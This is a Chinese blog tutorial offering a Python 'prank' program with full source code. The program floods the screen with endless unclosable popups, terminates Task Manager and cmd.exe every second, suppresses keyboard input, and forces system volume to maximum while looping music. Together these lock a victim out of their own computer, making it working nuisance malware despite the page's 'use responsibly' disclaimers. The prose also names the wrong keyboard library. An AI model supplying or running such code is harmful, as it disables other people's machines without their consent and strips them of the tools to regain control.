用烦人的弹出窗口和背景音乐恶作剧你的朋友

介绍:        

        您是否曾经想过在播放一些朗朗上口的背景音乐时用持续的弹出消息惹恼他们的朋友来恶作剧?在本教程中,我们将探讨如何使用 Python 创建一个简单的应用程序,该应用程序打开一个带有有趣消息的弹出窗口,防止用户关闭它,并播放不断循环的背景音乐。让我们潜入!

声明

        请确保负责任地使用这种恶作剧,并且只对不会受到伤害或烦恼的朋友使用。始终尊重他人的界限,避免打扰他人或给他人带来痛苦。

必需库:

为了构建我们的恶作剧应用程序,我们将使用以下 Python 库:

  • tkinter:用于创建弹出窗口
  • ctypes:终止某些进程
  • psutil: 用于流程管理
  • pygame:播放背景音乐
  • time:引入延迟
  • threading:用于多线程
  • random:生成随机数
  • comtypes:用于音频管理
  • pycaw:控制系统音频
  • pynput:用于收听键盘事件

实现:

让我们分解代码并了解每个组件的工作原理:

        1.弹出窗口和进程终止:

该函数负责使用库终止特定进程,如任务管理器或命令提示符。它会持续检查这些进程,并在找到时终止它们。

它的作用是在一个无限循环中,遍历当前运行的所有进程,并尝试终止名为"Taskmgr.exe"或"cmd.exe"的进程。如果在尝试终止进程时遇到psutil.NoSuchProcesspsutil.AccessDeniedpsutil.ZombieProcess异常,则会忽略该异常并继续执行。每次循环结束后,程序会暂停1秒钟。

def fu1():
    while True:
        for proc in psutil.process_iter():
            try:
                if proc.name() == 'Taskmgr.exe' or proc.name() == 'cmd.exe':
                    proc.terminate()
            except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
                pass
        time.sleep(1)

        2.键盘事件侦听器:

和函数分别定义按下和释放键时的行为。在这种情况下,按键用于终止键盘事件侦听器。

该代码定义了两个回调函数:on_presson_release,分别用于处理按键按下和释放的事件。在fu()函数中,使用keyboard.Listener创建了一个键盘监听器对象,并将这两个回调函数作为参数传递给它。通过设置suppress=True,可以抑制所有按键事件的默认处理。最后,通过调用lis.join()方法,使监听器进入阻塞状态,等待键盘事件的发生。

需要注意的是,为了运行这段代码,你需要先安装keyboard库。可以使用以下命令进行安装:

pip install keyboard

这样就可以在Python程序中使用该键盘监听器来捕获特定的按键事件了。

def on_press(key):
    if key == keyboard.Key.ctrl:
        return False  # 返回False表示中止键盘事件的处理


def on_release(key):
    pass


def fu():
    with keyboard.Listener(on_press=on_press, on_release=on_release, suppress=True) as lis:
        lis.join()

        3.弹出窗口放置和内容:

该函数使用库创建弹出窗口。该窗口随机放置在屏幕上,并显示两个带有有趣消息的标签。

在函数内部,首先创建了一个tkinterTk对象作为窗口句柄。然后通过设置resizable属性为False,禁止了用户调整窗口大小。接着使用attributes方法将窗口置顶显示。然后使用geometry方法设置窗口的大小为400x200像素,并通过random.randrange函数随机生成窗口的位置。接下来设置窗口的标题为"你干嘛,哎呀"。然后创建两个标签控件,分别显示文本"鸡你太美"和"我爱坤坤",并使用pack方法将它们添加到窗口中。通过protocol方法绑定了当关闭窗口时调用closeWindow函数的事件处理。最后使用attributes方法去掉了窗口的最小化和最大化按钮,并通过mainloop方法进入主事件循环,使窗口保持显示状态。

def dow():
    window = tk.Tk()
    # 不允许修改窗口大小
    window.resizable(False, False)
    # 窗口置顶
    window.attributes('-topmost', 'true')
    window.geometry("400x200" + "+" + str(random.randrange(0, window.winfo_screenwidth())) + '+' + str(
        random.randrange(0, window.winfo_screenheight())))
    window.title('你干嘛,哎呀')
    tk.Label(window, text='鸡你太美', bg='red', font=("华文行楷", 75)).pack()
    tk.Label(window, text='我爱坤坤', bg='red', font=("华文行楷", 75)).pack()
    window.protocol("WM_DELETE_WINDOW", closeWindow)
    # 去掉窗口最小化和最大化
    window.attributes("-toolwindow", 2)
    window.mainloop()

        4.弹出窗口关闭处理程序:

当用户尝试关闭弹出窗口时触发该函数。它使用模块显示警告消息,但阻止窗口关闭。

当调用该函数时,会弹出一个带有标题为"警告"、内容为"关不掉吧,气不气"的消息框。该函数没有返回值。

def closeWindow():
    messagebox.showinfo(title="警告", message="关不掉吧,气不气")
    return

        5.键盘事件和弹出窗口线程:

该函数使用库初始化键盘事件侦听器。它创建一个在后台运行的侦听器线程。

if __name__ == '__main__':
    p = threading.Thread(target=fu)
    p.start()

        6.背景音乐和音量控制:

使用AudioUtilities库,代码检索系统的音频设备并激活默认音频终结点音量接口。它将系统音量最大化并播放背景音乐文件,无限循环播放。

首先通过调用volume.SetMasterVolumeLevel(0.0, None)来将音量设置为最大值,以确保音乐能够被听到。然后使用pygame.mixer.music.load()方法加载指定路径下的音乐文件"ntm_hh/鸡你太美1.mp3",并使用pygame.mixer.music.play()方法开始播放音乐。最后,使用一个无限循环来保持音乐播放状态,同时在循环中不断调用volume.SetMasterVolumeLevel(0.0, None)来保持音量不变。

def fu2():
    # 开启声音最大化
    volume.SetMasterVolumeLevel(0.0, None)
    # 加载音乐文件
    pygame.mixer.music.load("ntm_hh/鸡你太美1.mp3")
    # 播放音乐
    pygame.mixer.music.play()
    while True:
        volume.SetMasterVolumeLevel(0.0, None)

        您可以使用此恶作剧应用程序与您的朋友一起玩乐。自定义弹出窗口消息和背景音乐以适合您的喜好。记住要负责任地使用它并尊重他人的界限。恶作剧快乐!

声明(再次)

        请确保您以合乎道德和负责任的方式使用此恶作剧应用程序。在进行任何恶作剧之前,请务必考虑他人的感受和偏好。请记住,每个人都有不同的敏感性和界限。

这就是我们的恶作剧应用程序教程!随意探索和修改代码以创建您独特的恶作剧。祝您编码愉快!

附上源代码:

# coding: utf-8 
# name: 张洪银
import random
import threading
import time
import tkinter as tk
from ctypes import cast, POINTER
from tkinter import messagebox
import psutil
import pygame
from comtypes import CLSCTX_ALL
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
from pynput import keyboard


def fu1():
    while True:
        for proc in psutil.process_iter():
            try:
                if proc.name() == 'Taskmgr.exe' or proc.name() == 'cmd.exe':
                    proc.terminate()
            except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
                pass
        time.sleep(1)


def closeWindow():
    messagebox.showinfo(title="警告", message="关不掉吧,气不气")
    return


def on_press(key):
    if key == keyboard.Key.ctrl:
        return False  # 返回False表示中止键盘事件的处理


def on_release(key):
    pass


def fu():
    with keyboard.Listener(on_press=on_press, on_release=on_release, suppress=True) as lis:
        lis.join()


def dow():
    window = tk.Tk()
    # 不允许修改窗口大小
    window.resizable(False, False)
    # 窗口置顶
    window.attributes('-topmost', 'true')
    window.geometry("400x200" + "+" + str(random.randrange(0, window.winfo_screenwidth())) + '+' + str(
        random.randrange(0, window.winfo_screenheight())))
    window.title('你干嘛,哎呀')
    tk.Label(window, text='鸡你太美', bg='red', font=("华文行楷", 75)).pack()
    tk.Label(window, text='我爱坤坤', bg='red', font=("华文行楷", 75)).pack()
    window.protocol("WM_DELETE_WINDOW", closeWindow)
    # 去掉窗口最小化和最大化
    window.attributes("-toolwindow", 2)
    window.mainloop()


def fu2():
    # 开启声音最大化
    volume.SetMasterVolumeLevel(0.0, None)
    # 加载音乐文件
    pygame.mixer.music.load("ntm_hh/鸡你太美1.mp3")
    # 播放音乐
    pygame.mixer.music.play()
    while True:
        volume.SetMasterVolumeLevel(0.0, None)


def fu3():
    threads = []
    i = 0
    while True:
        t = threading.Thread(target=dow)
        threads.append(t)
        threads[i].start()
        i = i + 1


if __name__ == '__main__':
    # 获取扬声器设备接口
    volume = cast(AudioUtilities.GetSpeakers().Activate(
        IAudioEndpointVolume._iid_, CLSCTX_ALL, None), POINTER(IAudioEndpointVolume))
    color1 = random.choices(['Red', '#356F9F'])
    pygame.init()
    pygame.mixer.init()
    pygame.display.set_caption("Music Player")
    p2 = threading.Thread(target=fu2)
    p3 = threading.Thread(target=fu3)
    p1 = threading.Thread(target=fu1)
    p = threading.Thread(target=fu)
    p.start()
    p1.start()
    p2.start()
    p3.start()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

骇客黑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值